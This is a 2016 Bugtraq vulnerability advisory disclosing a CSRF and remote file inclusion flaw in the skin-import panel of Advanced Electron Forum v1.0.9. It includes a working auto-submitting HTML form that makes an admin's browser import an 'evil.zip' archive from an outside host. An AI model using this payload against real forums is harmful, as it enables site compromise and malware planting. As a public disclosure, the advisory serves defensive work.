bugtraq - Advanced Electron Forum v1.0.9 RFI / CSRF

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Message-Id: <201601180411.u0I4Bikc016345@sf01web2.securityfocus.com>
Date: Mon, 18 Jan 2016 04:11:44 GMT
From: hyp3rlinx@...os.com
To: bugtraq@...urityfocus.com
Subject: Advanced Electron Forum v1.0.9 RFI / CSRF

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AEF-RFI.txt

Vendor:
=============================
www.anelectron.com/downloads/

Product:
================================
Advanced Electron Forum v1.0.9 (AEF)
Exploit patched current version.

Vulnerability Type:
============================
Remote File Inclusion / CSRF

CVE Reference:
==============
N/A

Vulnerability Details:
=====================

In Admin control panel there is option to Import Skins and one choice is using a web URL.

>From AEF:

"Specify the URL of the theme on the net. The theme file must be a compressed archive (zip, tgz, tbz2, tar)."

However there is no CSRF token or check made that this is a valid request made by the currently logged in user, resulting
in arbitrary remote file imports from an attacker if the user visits or clicks an malicious link. Victims will then be left
open to arbitrary malicious file downloads from anywhere on the net which may be used as a platform for further attacks...

Exploit code(s):
===============

<form id="EL-DOWNLOADO" action="http://localhost/AEF(1.0.9)_Install/index.php?act=admin&adact=skin&seadact=import" method="post">
<input type="hidden" name="folderpath" value="../" />
<input type="hidden" name="importtype" value="2" />
<input type="hidden" name="weburl" value="http://hyp3rlinx.altervista.org/evil.zip" />
<input type="hidden" name="filepath" value="../" />
<input type="hidden" name="uploadtheme" value="" />
<input type="hidden" name="importskin" value="Import" />
<script>document.getElementById('EL-DOWNLOADO').submit()</script>
</form>

Disclosure Timeline:
======================================
Vendor Notification:  NA
January 17, 2016  : Public Disclosure

Exploitation Technique:
=======================
Remote

Severity Level:
===============
High

Description:
==================================================================

Request Method(s):         [+] POST

Vulnerable Product:        [+] Advanced Electron Forum v1.0.9 (AEF)

==================================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx